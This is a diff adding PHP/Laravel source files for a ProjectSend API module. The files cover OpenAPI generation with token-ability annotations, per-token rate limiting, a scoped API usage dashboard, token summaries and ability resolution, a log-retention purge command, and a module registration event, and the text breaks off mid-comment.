use Dedoc\Scramble\Support\Generator\OpenApi;
|
||||
use Dedoc\Scramble\Support\Generator\SecurityScheme;
|
||||
use Dedoc\Scramble\Support\Generator\Server;
|
||||
use Illuminate\Cache\RateLimiting\Limit;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Routing\Route as RouteInstance;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Illuminate\Support\Facades\Route as Router;
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
/**
|
||||
* Cross-cutting API concerns only. Domain endpoints live in their own
|
||||
* module under an Api sub-namespace — this provider knows nothing about
|
||||
* files, clients or groups.
|
||||
*/
|
||||
class ApiServiceProvider extends ServiceProvider
|
||||
{
|
||||
public function register(): void
|
||||
{
|
||||
$this->app->singleton(ApiModuleRegistry::class);
|
||||
}
|
||||
|
||||
public function boot(): void
|
||||
{
|
||||
$this->registerRateLimiters();
|
||||
$this->describeOpenApi();
|
||||
|
||||
if ($this->app->runningInConsole()) {
|
||||
$this->commands([
|
||||
Console\PurgeApiRequestLogsCommand::class,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Two things Scramble cannot infer from the code, both of which a
|
||||
* consumer needs before it can make a single successful call.
|
||||
*
|
||||
* Scramble's own docs routes stay unmounted: the reference lives in the
|
||||
* admin UI behind the same gate as every other system settings page,
|
||||
* and a second, separately-gated copy of the same document is a
|
||||
* surface nobody would remember to check.
|
||||
*/
|
||||
private function describeOpenApi(): void
|
||||
{
|
||||
if (! class_exists(Scramble::class)) {
|
||||
return;
|
||||
}
|
||||
|
||||
Scramble::ignoreDefaultRoutes();
|
||||
|
||||
// Replaces the config's `api_path` matcher so two routes can be
|
||||
// left out: the document must not describe how to fetch itself,
|
||||
// and module endpoints belong in their own package's document —
|
||||
// the committed core spec has to be identical on every install
|
||||
// regardless of which optional packages are present.
|
||||
Scramble::routes(fn (RouteInstance $route): bool => str_starts_with($route->uri(), 'api/v1/')
|
||||
&& $route->uri() !== 'api/v1/openapi.json'
|
||||
&& ! str_starts_with($route->uri(), 'api/v1/modules/'));
|
||||
|
||||
Scramble::extendOpenApi(function (OpenApi $document): void {
|
||||
// Every route in this document sits behind auth:sanctum, so the
|
||||
// scheme is declared once and applied globally.
|
||||
$document->secure(SecurityScheme::http('bearer'));
|
||||
});
|
||||
|
||||
Scramble::afterOpenApiGenerated(function (OpenApi $document): void {
|
||||
// A *relative* server URL. Scramble defaults to an absolute one
|
||||
// built from APP_URL, which bakes whichever machine ran the
|
||||
// export into a document that then ships to every installation
|
||||
// — every importing client would have been pointed at the
|
||||
// exporter's host. Relative resolves against wherever the spec
|
||||
// was fetched from, which is always the right server.
|
||||
$document->servers = [Server::make('/api/v1')];
|
||||
|
||||
// The token abilities each endpoint needs live in `token-can:`
|
||||
// route middleware, which no amount of return-type inference
|
||||
// will reveal. Without them a reader can see the shape of a
|
||||
// call but not which permissions to tick when creating the
|
||||
// token that makes it — the single most common reason a first
|
||||
// request 403s.
|
||||
$abilitiesByRoute = $this->abilitiesByRoute();
|
||||
|
||||
foreach ($document->paths as $path) {
|
||||
foreach ($path->operations as $operation) {
|
||||
$key = strtoupper($operation->method).' '.ltrim($path->path, '/');
|
||||
$abilities = $abilitiesByRoute[$key] ?? null;
|
||||
|
||||
if ($abilities === null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$operation->description = trim(
|
||||
$operation->description
|
||||
."\n\nRequires a token with "
|
||||
.(count($abilities) > 1 ? 'any of these abilities' : 'the ability')
|
||||
.': `'.implode('`, `', $abilities).'`.'
|
||||
);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* "METHOD uri" (uri relative to the api/v1 prefix) => the abilities its
|
||||
* `token-can:` middleware names.
|
||||
*
|
||||
* Keyed by method as well as path, because several endpoints share a
|
||||
* URI with different requirements — `GET /files` needs any of the three
|
||||
* view permissions while `POST /files` needs `upload`, and keying by
|
||||
* path alone silently gave every operation on a shared path whichever
|
||||
* route happened to be registered last.
|
||||
*
|
||||
* @return array<string, list<string>>
|
||||
*/
|
||||
private function abilitiesByRoute(): array
|
||||
{
|
||||
$map = [];
|
||||
|
||||
foreach (Router::getRoutes()->getRoutes() as $route) {
|
||||
if (! str_starts_with($route->uri(), 'api/v1/')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach ($route->gatherMiddleware() as $middleware) {
|
||||
if (! is_string($middleware) || ! str_starts_with($middleware, 'token-can:')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$abilities = array_values(array_filter(
|
||||
array_map('trim', explode(',', substr($middleware, strlen('token-can:'))))
|
||||
));
|
||||
|
||||
foreach ($route->methods() as $method) {
|
||||
if ($method === 'HEAD') {
|
||||
continue;
|
||||
}
|
||||
|
||||
$map[$method.' '.substr($route->uri(), strlen('api/v1/'))] = $abilities;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $map;
|
||||
}
|
||||
|
||||
private function registerRateLimiters(): void
|
||||
{
|
||||
// Keyed by token, not by user: two integrations belonging to the
|
||||
// same admin get independent allowances, so a runaway Zapier zap
|
||||
// cannot throttle that person's phone. IP is only the fallback for
|
||||
// requests that never authenticated.
|
||||
RateLimiter::for('api', fn (Request $request): Limit => $this->limit($request, 'default'));
|
||||
|
||||
RateLimiter::for('api-uploads', fn (Request $request): Limit => $this->limit($request, 'uploads'));
|
||||
}
|
||||
|
||||
private function limit(Request $request, string $bucket): Limit
|
||||
{
|
||||
$edition = config('projectsend.edition');
|
||||
$key = $edition instanceof Edition ? $edition->value : Edition::Community->value;
|
||||
|
||||
$perMinute = (int) config(
|
||||
"api.rate_limits.{$key}.{$bucket}",
|
||||
config("api.rate_limits.community.{$bucket}", 60)
|
||||
);
|
||||
|
||||
$token = $request->user()?->currentAccessToken();
|
||||
|
||||
return Limit::perMinute($perMinute)->by(
|
||||
$token !== null ? "token:{$token->getKey()}:{$bucket}" : "ip:{$request->ip()}:{$bucket}"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,250 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Api\Auth\ApiTokens;
|
||||
use App\Modules\Api\Models\ApiRequestLog;
|
||||
use App\Modules\Audit\ActivityLog;
|
||||
use App\Modules\Audit\ActivityOrigin;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Laravel\Sanctum\PersonalAccessToken;
|
||||
|
||||
/**
|
||||
* The numbers behind the API dashboard.
|
||||
*
|
||||
* Every method takes a `$scope`: either the viewer's own tokens, or the
|
||||
* whole installation for a viewer permitted to see it. The scoping lives
|
||||
* here rather than in the controller so no query can accidentally skip it —
|
||||
* showing every staff member's integrations to every other staff member
|
||||
* would be a new leak, and it would be one query's oversight away.
|
||||
*/
|
||||
class ApiUsage
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ApiUsageScope $scope,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return array<string, int|float|null>
|
||||
*/
|
||||
public function summary(User $viewer, bool $installWide): array
|
||||
{
|
||||
$requests = $this->requests($viewer, $installWide);
|
||||
$since = now()->subDays(7);
|
||||
|
||||
$recent = (clone $requests)->where('created_at', '>=', $since);
|
||||
|
||||
return [
|
||||
'tokens' => $this->tokens($viewer, $installWide)->count(),
|
||||
'tokens_expired' => $this->tokens($viewer, $installWide)
|
||||
->whereNotNull('expires_at')->where('expires_at', '<', now())->count(),
|
||||
'requests_7d' => (clone $recent)->count(),
|
||||
'failed_7d' => (clone $recent)->failed()->count(),
|
||||
// Null rather than 0 when nothing has been called: "no requests"
|
||||
// and "no failures out of many" are different states, and a
|
||||
// 0% badge on an unused API reads as a health claim it cannot make.
|
||||
'median_ms' => $this->medianDuration((clone $recent)),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Daily request counts for the chart, zero-filled so gaps read as
|
||||
* quiet days rather than as missing data.
|
||||
*
|
||||
* @return list<array{date: string, requests: int, failed: int}>
|
||||
*/
|
||||
public function daily(User $viewer, bool $installWide, int $days = 30): array
|
||||
{
|
||||
$from = now()->subDays($days - 1)->startOfDay();
|
||||
|
||||
$rows = $this->requests($viewer, $installWide)
|
||||
->where('created_at', '>=', $from)
|
||||
->selectRaw('date(created_at) as day')
|
||||
->selectRaw('count(*) as requests')
|
||||
->selectRaw('sum(case when status >= 400 then 1 else 0 end) as failed')
|
||||
->groupBy('day')
|
||||
->pluck('requests', 'day');
|
||||
|
||||
$failures = $this->requests($viewer, $installWide)
|
||||
->where('created_at', '>=', $from)
|
||||
->failed()
|
||||
->selectRaw('date(created_at) as day')
|
||||
->selectRaw('count(*) as failed')
|
||||
->groupBy('day')
|
||||
->pluck('failed', 'day');
|
||||
|
||||
$series = [];
|
||||
|
||||
for ($day = $from->copy(); $day <= now(); $day->addDay()) {
|
||||
$key = $day->toDateString();
|
||||
|
||||
$series[] = [
|
||||
'date' => $key,
|
||||
'requests' => (int) ($rows[$key] ?? 0),
|
||||
'failed' => (int) ($failures[$key] ?? 0),
|
||||
];
|
||||
}
|
||||
|
||||
return $series;
|
||||
}
|
||||
|
||||
/**
|
||||
* Per-token usage: what each token is, and what it has been doing.
|
||||
*
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
public function tokenUsage(User $viewer, bool $installWide): array
|
||||
{
|
||||
$tokens = $this->tokens($viewer, $installWide)
|
||||
->with('tokenable')
|
||||
->orderByDesc('last_used_at')
|
||||
->orderByDesc('created_at')
|
||||
->limit(50)
|
||||
->get();
|
||||
|
||||
$counts = $this->requests($viewer, $installWide)
|
||||
->where('created_at', '>=', now()->subDays(7))
|
||||
->selectRaw('api_token_id, count(*) as total')
|
||||
->selectRaw('sum(case when status >= 400 then 1 else 0 end) as failed')
|
||||
->groupBy('api_token_id')
|
||||
->get()
|
||||
->keyBy('api_token_id');
|
||||
|
||||
return array_values($tokens->map(function (PersonalAccessToken $token) use ($counts): array {
|
||||
$row = $counts->get($token->getKey());
|
||||
$owner = $token->tokenable;
|
||||
|
||||
return [
|
||||
'id' => (string) $token->getKey(),
|
||||
'name' => $token->name,
|
||||
'owner' => $owner instanceof User ? $owner->name : null,
|
||||
'abilities' => $token->abilities ?? [],
|
||||
'last_used_at' => $token->last_used_at?->toIso8601String(),
|
||||
'expires_at' => $token->expires_at?->toIso8601String(),
|
||||
'expired' => ! ApiTokens::isActive($token),
|
||||
'requests_7d' => (int) ($row->total ?? 0),
|
||||
'failed_7d' => (int) ($row->failed ?? 0),
|
||||
];
|
||||
})->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* The most recent *domain actions* taken through the API — what a token
|
||||
* actually changed, as opposed to how many requests it made.
|
||||
*
|
||||
* Read from the activity log rather than the request log on purpose:
|
||||
* this answers "what did it do", which is the audit trail's question,
|
||||
* and each row links back into the full log.
|
||||
*
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
public function recentActions(User $viewer, bool $installWide, int $limit = 15): array
|
||||
{
|
||||
$query = ActivityLog::query()->where('origin', ActivityOrigin::Api);
|
||||
|
||||
if (! $installWide) {
|
||||
$query->where('actor_id', $viewer->id);
|
||||
}
|
||||
|
||||
return array_values($query->orderByDesc('created_at')
|
||||
->orderByDesc('id')
|
||||
->limit($limit)
|
||||
->get()
|
||||
->map(fn (ActivityLog $entry): array => [
|
||||
'id' => $entry->id,
|
||||
'created_at' => $entry->created_at->toIso8601String(),
|
||||
'actor_name' => $entry->actor_name,
|
||||
'token_name' => $entry->api_token_name,
|
||||
'template' => $entry->action->template(),
|
||||
'replacements' => $this->replacements($entry),
|
||||
])
|
||||
->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function replacements(ActivityLog $entry): array
|
||||
{
|
||||
$replacements = ['subject' => $entry->subject_name ?? ''];
|
||||
|
||||
foreach ($entry->context ?? [] as $key => $value) {
|
||||
if (is_scalar($value)) {
|
||||
$replacements[$key] = (string) $value;
|
||||
}
|
||||
}
|
||||
|
||||
return $replacements;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Builder<ApiRequestLog>
|
||||
*/
|
||||
private function requests(User $viewer, bool $installWide): Builder
|
||||
{
|
||||
return $this->scope->requests($viewer, $installWide);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Builder<PersonalAccessToken>
|
||||
*/
|
||||
private function tokens(User $viewer, bool $installWide): Builder
|
||||
{
|
||||
return $this->scope->tokens($viewer, $installWide);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param Builder<ApiRequestLog> $requests
|
||||
*/
|
||||
private function medianDuration(Builder $requests): ?int
|
||||
{
|
||||
$count = (clone $requests)->count();
|
||||
|
||||
if ($count === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Median rather than mean: one slow upload should not make every
|
||||
// other call look slow, which is exactly what an average does on a
|
||||
// long-tailed distribution like request duration.
|
||||
$offset = (int) floor(($count - 1) / 2);
|
||||
|
||||
return (int) $requests->orderBy('duration_ms')->offset($offset)->limit(1)->value('duration_ms');
|
||||
}
|
||||
|
||||
/**
|
||||
* Convenience for the dashboard widget, which shows one number.
|
||||
*/
|
||||
public function requestsSince(User $viewer, bool $installWide, Carbon $since): int
|
||||
{
|
||||
return $this->requests($viewer, $installWide)->where('created_at', '>=', $since)->count();
|
||||
}
|
||||
|
||||
/**
|
||||
* The busiest endpoints, so an operator can see what an integration
|
||||
* actually leans on.
|
||||
*
|
||||
* @return list<array{route: string, method: string, requests: int}>
|
||||
*/
|
||||
public function topEndpoints(User $viewer, bool $installWide, int $limit = 8): array
|
||||
{
|
||||
return array_values($this->requests($viewer, $installWide)
|
||||
->where('created_at', '>=', now()->subDays(7))
|
||||
->select('route', 'method', DB::raw('count(*) as requests'))
|
||||
->groupBy('route', 'method')
|
||||
->orderByDesc('requests')
|
||||
->limit($limit)
|
||||
->get()
|
||||
->map(fn (ApiRequestLog $row): array => [
|
||||
'route' => $row->route,
|
||||
'method' => $row->method,
|
||||
'requests' => (int) $row->getAttribute('requests'),
|
||||
])
|
||||
->all());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Api\Models\ApiRequestLog;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Laravel\Sanctum\PersonalAccessToken;
|
||||
|
||||
/**
|
||||
* The single place that decides *whose* API usage a viewer may see.
|
||||
*
|
||||
* A token is a personal credential. Without a boundary, an API dashboard
|
||||
* would show every staff member which integrations their colleagues run,
|
||||
* how often, and against what — a new disclosure that no existing screen
|
||||
* makes. So the rule is: your own tokens always, everyone's only with
|
||||
* `view_actions_log`, which is already the permission that grants a
|
||||
* whole-installation view of who did what.
|
||||
*
|
||||
* Every query the dashboard runs goes through here. Keeping it in one
|
||||
* class rather than repeating a `when($installWide)` in each method is the
|
||||
* difference between a boundary and a convention.
|
||||
*/
|
||||
class ApiUsageScope
|
||||
{
|
||||
/**
|
||||
* Whether this viewer may see beyond their own tokens.
|
||||
*/
|
||||
public function mayViewInstallWide(User $viewer): bool
|
||||
{
|
||||
return $viewer->can('view_actions_log');
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolves what the caller asked for against what they may have, so a
|
||||
* controller cannot widen the scope by passing `true`.
|
||||
*/
|
||||
public function resolve(User $viewer, bool $requested): bool
|
||||
{
|
||||
return $requested && $this->mayViewInstallWide($viewer);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Builder<ApiRequestLog>
|
||||
*/
|
||||
public function requests(User $viewer, bool $installWide): Builder
|
||||
{
|
||||
$query = ApiRequestLog::query();
|
||||
|
||||
return $installWide ? $query : $query->ownedBy($viewer);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Builder<PersonalAccessToken>
|
||||
*/
|
||||
public function tokens(User $viewer, bool $installWide): Builder
|
||||
{
|
||||
$query = PersonalAccessToken::query();
|
||||
|
||||
return $installWide
|
||||
? $query
|
||||
: $query->where('tokenable_type', $viewer->getMorphClass())->where('tokenable_id', $viewer->id);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Auth;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Identity\Permissions\Permission;
|
||||
use Illuminate\Support\Collection;
|
||||
use Laravel\Sanctum\PersonalAccessToken;
|
||||
|
||||
/**
|
||||
* What tokens an account holds, for screens that describe somebody
|
||||
* *else's* — the staff list's indicator and the API tab on a staff
|
||||
* account.
|
||||
*
|
||||
* Read-only on purpose. ApiTokensController deliberately scopes every
|
||||
* mutation to the caller's own tokens ("managing them is not an
|
||||
* administrative power here"), and nothing in this class widens that:
|
||||
* an administrator can see that an integration exists and what it is
|
||||
* allowed to do, which is their installation's security posture, but
|
||||
* renaming, re-scoping or revoking somebody's token is still only the
|
||||
* owner's to do. No secret is exposed either way — the database holds a
|
||||
* hash.
|
||||
*/
|
||||
class ApiTokens
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TokenAbilities $abilities,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* A token is "active" when it has not expired. A null expiry means it
|
||||
* never does.
|
||||
*
|
||||
* The single definition of the word: it was written out by hand in
|
||||
* ApiTokensController and again in ApiUsage before this, and adding a
|
||||
* third copy for the staff list is what prompted collecting it here.
|
||||
*/
|
||||
public static function isActive(PersonalAccessToken $token): bool
|
||||
{
|
||||
return $token->expires_at === null || $token->expires_at->isFuture();
|
||||
}
|
||||
|
||||
/**
|
||||
* Totals for one account.
|
||||
*
|
||||
* @return array{total: int, active: int}
|
||||
*/
|
||||
public function summarize(User $user): array
|
||||
{
|
||||
return $this->summarizeMany([$user->id])[$user->id] ?? ['total' => 0, 'active' => 0];
|
||||
}
|
||||
|
||||
/**
|
||||
* Totals for a page of accounts, in one query — a listing that asked
|
||||
* per row would be an N+1 on a screen that already paginates 25 at a
|
||||
* time.
|
||||
*
|
||||
* Counted in the database rather than by loading the rows: nothing
|
||||
* here needs a token's name or abilities, only how many there are.
|
||||
* Expiry is compared in SQL for the same reason.
|
||||
*
|
||||
* @param iterable<int> $userIds
|
||||
* @return array<int, array{total: int, active: int}>
|
||||
*/
|
||||
public function summarizeMany(iterable $userIds): array
|
||||
{
|
||||
$ids = Collection::make($userIds)->map(fn ($id): int => (int) $id)->unique()->values();
|
||||
|
||||
if ($ids->isEmpty()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return PersonalAccessToken::query()
|
||||
->where('tokenable_type', User::class)
|
||||
->whereIn('tokenable_id', $ids)
|
||||
->selectRaw('tokenable_id')
|
||||
->selectRaw('count(*) as total')
|
||||
->selectRaw('sum(case when expires_at is null or expires_at > ? then 1 else 0 end) as active', [now()])
|
||||
->groupBy('tokenable_id')
|
||||
->get()
|
||||
->mapWithKeys(fn (PersonalAccessToken $row): array => [
|
||||
(int) $row->getAttribute('tokenable_id') => [
|
||||
'total' => (int) $row->getAttribute('total'),
|
||||
'active' => (int) $row->getAttribute('active'),
|
||||
],
|
||||
])
|
||||
->all();
|
||||
}
|
||||
|
||||
/**
|
||||
* Every token an account holds, with its abilities resolved to the
|
||||
* labels the permission screens use — bare keys like
|
||||
* `edit_others_files` are not what an administrator should have to
|
||||
* read to answer "what can this integration do".
|
||||
*
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
public function detailFor(User $user): array
|
||||
{
|
||||
$stillGranted = $this->abilities->availableFor($user);
|
||||
|
||||
return array_values($user->tokens()
|
||||
->orderByDesc('created_at')
|
||||
->get()
|
||||
->map(fn (PersonalAccessToken $token): array => [
|
||||
'id' => (string) $token->getKey(),
|
||||
'name' => $token->name,
|
||||
'active' => self::isActive($token),
|
||||
'created_at' => $token->created_at?->toIso8601String(),
|
||||
'last_used_at' => $token->last_used_at?->toIso8601String(),
|
||||
'expires_at' => $token->expires_at?->toIso8601String(),
|
||||
// array_values because Sanctum casts the column straight
|
||||
// from JSON, so nothing guarantees the keys are sequential.
|
||||
'abilities' => $this->describeAbilities(array_values($token->abilities ?? []), $stillGranted),
|
||||
])
|
||||
->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $keys
|
||||
* @param list<string> $stillGranted
|
||||
* @return list<array{key: string, label: string, category: string, effective: bool}>
|
||||
*/
|
||||
private function describeAbilities(array $keys, array $stillGranted): array
|
||||
{
|
||||
$described = [];
|
||||
|
||||
foreach ($keys as $key) {
|
||||
$permission = Permission::tryFrom($key);
|
||||
|
||||
$described[] = [
|
||||
'key' => $key,
|
||||
// An unrecognised key is still worth showing rather than
|
||||
// hiding: it means the token carries something this
|
||||
// vocabulary no longer has, which is exactly the sort of
|
||||
// leftover an administrator is looking at this list for.
|
||||
'label' => $permission?->label() ?? $key,
|
||||
'category' => $permission?->category()->label() ?? '',
|
||||
// Whether it does anything today. A token keeps the
|
||||
// abilities it was issued with, but EnsureTokenCan
|
||||
// re-checks the owner's live permissions on every
|
||||
// request, so an ability the owner has since lost is
|
||||
// carried and ignored.
|
||||
'effective' => in_array($key, $stillGranted, true),
|
||||
];
|
||||
}
|
||||
|
||||
return $described;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Auth;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Identity\Permissions\Permission;
|
||||
use App\Modules\Identity\Permissions\PermissionChecker;
|
||||
use App\Modules\Platform\Capabilities\CapabilityRegistry;
|
||||
use Illuminate\Support\Facades\Route as Router;
|
||||
|
||||
/**
|
||||
* Which abilities a given user may actually attach to a token, here, now.
|
||||
*
|
||||
* Three independent constraints, all of which must hold:
|
||||
*
|
||||
* 1. **Permission** — what this user's role grants. A token must never be
|
||||
* a way to acquire an ability its owner does not have.
|
||||
* 2. **Capability** — what this edition has at all. `manage_users` on a
|
||||
* cloud install is not a permission the user is merely prevented from
|
||||
* using; the feature is absent, and every route behind it 404s.
|
||||
* 3. **Implemented** — whether any API route actually consumes the
|
||||
* ability. The API covers a fraction of what the web UI does, and
|
||||
* offering a checkbox for `manage_groups` before a groups endpoint
|
||||
* exists invites someone to grant an ability that silently does
|
||||
* nothing. A permission is not an API ability until a route asks for it.
|
||||
*
|
||||
* The third is derived from the routes rather than kept as a list here,
|
||||
* which is the point: `token-can:` on each API route is already the
|
||||
* authoritative statement of what that endpoint needs, so a new endpoint
|
||||
* makes its abilities selectable the moment it is registered, and no
|
||||
* parallel list can fall out of step. Package routes registered through
|
||||
* RegisteringApiModules are covered by the same scan.
|
||||
*
|
||||
* Deliberately not memoised across resolutions: capability comes from a
|
||||
* registry bound per resolution so tests can flip the edition, and the
|
||||
* permission side is already memoised inside PermissionChecker. The route
|
||||
* scan is memoised per instance since the route table cannot change
|
||||
* mid-request.
|
||||
*/
|
||||
class TokenAbilities
|
||||
{
|
||||
/** @var list<string>|null */
|
||||
private ?array $inUse = null;
|
||||
|
||||
public function __construct(
|
||||
private readonly PermissionChecker $permissions,
|
||||
private readonly CapabilityRegistry $capabilities,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Every ability key this user may be granted, as strings.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function availableFor(User $user): array
|
||||
{
|
||||
$granted = $this->permissions->grantedKeys($user);
|
||||
|
||||
return array_values(array_filter(
|
||||
$granted,
|
||||
fn (string $key): bool => $this->isAvailable($key) && $this->isImplemented($key),
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* The same list as Permission cases, for a UI that needs labels and
|
||||
* categories rather than bare keys.
|
||||
*
|
||||
* @return list<Permission>
|
||||
*/
|
||||
public function casesFor(User $user): array
|
||||
{
|
||||
$available = $this->availableFor($user);
|
||||
|
||||
return array_values(array_filter(
|
||||
Permission::cases(),
|
||||
fn (Permission $permission): bool => in_array($permission->value, $available, true),
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the ability is usable in this edition at all, ignoring who is
|
||||
* asking. An unknown key is not available — a token may only ever carry
|
||||
* abilities drawn from the Permission vocabulary.
|
||||
*
|
||||
* Note this does NOT consider whether an endpoint exists: it is the
|
||||
* check EnsureTokenCan makes, and there the question is already settled
|
||||
* — a route asking for an ability is itself the endpoint.
|
||||
*/
|
||||
public function isAvailable(string $key): bool
|
||||
{
|
||||
$permission = Permission::tryFrom($key);
|
||||
|
||||
if ($permission === null) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$capability = $permission->capability();
|
||||
|
||||
return $capability === null || $this->capabilities->has($capability);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether any API endpoint consumes this ability today.
|
||||
*/
|
||||
public function isImplemented(string $key): bool
|
||||
{
|
||||
return in_array($key, $this->inUse(), true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Abilities named by a `token-can:` middleware on any registered
|
||||
* /api/v1 route — core or module.
|
||||
*
|
||||
* Read off the route table rather than declared in a list, so this can
|
||||
* never disagree with what the endpoints actually require. Route
|
||||
* caching preserves middleware, so it is correct on a cached install
|
||||
* too.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function inUse(): array
|
||||
{
|
||||
if ($this->inUse !== null) {
|
||||
return $this->inUse;
|
||||
}
|
||||
|
||||
$abilities = [];
|
||||
|
||||
foreach (Router::getRoutes()->getRoutes() as $route) {
|
||||
if (! str_starts_with($route->uri(), 'api/')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach ($route->gatherMiddleware() as $middleware) {
|
||||
if (! is_string($middleware) || ! str_starts_with($middleware, 'token-can:')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach (explode(',', substr($middleware, strlen('token-can:'))) as $ability) {
|
||||
$ability = trim($ability);
|
||||
|
||||
if ($ability !== '') {
|
||||
$abilities[$ability] = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $this->inUse = array_keys($abilities);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Console;
|
||||
|
||||
use App\Modules\Api\Models\ApiRequestLog;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use Illuminate\Console\Command;
|
||||
|
||||
class PurgeApiRequestLogsCommand extends Command
|
||||
{
|
||||
protected $signature = 'projectsend:purge-api-request-logs';
|
||||
|
||||
protected $description = 'Delete API request telemetry older than the configured retention window (runs daily)';
|
||||
|
||||
public function handle(Settings $settings): int
|
||||
{
|
||||
$days = (int) $settings->get(Setting::ApiRequestLogRetentionDays);
|
||||
|
||||
// 0 means keep indefinitely — an explicit choice an operator can
|
||||
// make, and the reason this reads the setting rather than assuming.
|
||||
if ($days <= 0) {
|
||||
$this->info('API request log retention is disabled; nothing pruned.');
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
|
||||
// Deleted in chunks: this is the highest-volume table in the
|
||||
// application, and a single unbounded DELETE on a busy install
|
||||
// would hold locks for as long as it took.
|
||||
$cutoff = now()->subDays($days);
|
||||
$deleted = 0;
|
||||
|
||||
do {
|
||||
$batch = ApiRequestLog::query()->where('created_at', '<', $cutoff)->limit(5000)->delete();
|
||||
$deleted += $batch;
|
||||
} while ($batch > 0);
|
||||
|
||||
$this->info("Pruned {$deleted} API request log entries older than {$days} days.");
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Events;
|
||||
|
||||
use Closure;
|
||||
|
||||
/**
|
||||
* One registered module's API surface. Value object, built only by
|
||||
* RegisteringApiModules::register() so the invariants it validates are the
|
||||
* only way to produce one.
|
||||
*/
|
||||
final class ApiModule
|
||||
{
|
||||
/**
|
||||
* @param string $slug URL segment and route-name segment: /api/v1/modules/{slug}
|
||||
* @param string|Closure $routes route file path, or a closure that declares routes
|
||||
* @param string|null $capability Capability key gating the whole group, null if edition-agnostic
|
||||
*/
|
||||
public function __construct(
|
||||
public readonly string $slug,
|
||||
public readonly string|Closure $routes,
|
||||
public readonly ?string $capability,
|
||||
) {}
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Events;
|
||||
|
||||
use App\Modules\Platform\Capabilities\Capability;
|
||||
use Closure;
|
||||
use InvalidArgumentException;
|
||||
|
||||
/**
|
||||
* The extension point through which cloud-modules and community-modules
|
||||
* add their own API endpoints.
|
||||
*
|
||||
* Core dispatches this once while loading routes/api.php, collects whatever
|
||||
* the listeners registered, and mounts each module itself — under a prefix
|
||||
* core chooses, inside the middleware stack core assembled, behind the
|
||||
* capability the module declared. A module supplies paths and controllers;
|
||||
* it does not get to say how they are authenticated.
|
||||
*
|
||||
* A package listens by *string* class name, never by importing this class:
|
||||
*
|
||||
* Event::listen('App\Modules\Api\Events\RegisteringApiModules', function ($event): void {
|
||||
* $event->register(
|
||||
* slug: 'branding',
|
||||
* routes: __DIR__.'/api-routes.php',
|
||||
* capability: 'branding.customize',
|
||||
* );
|
||||
* });
|
||||
*
|
||||
* That indirection is what keeps the packages buildable and testable with
|
||||
* no host application present — the same constraint that ruled out an
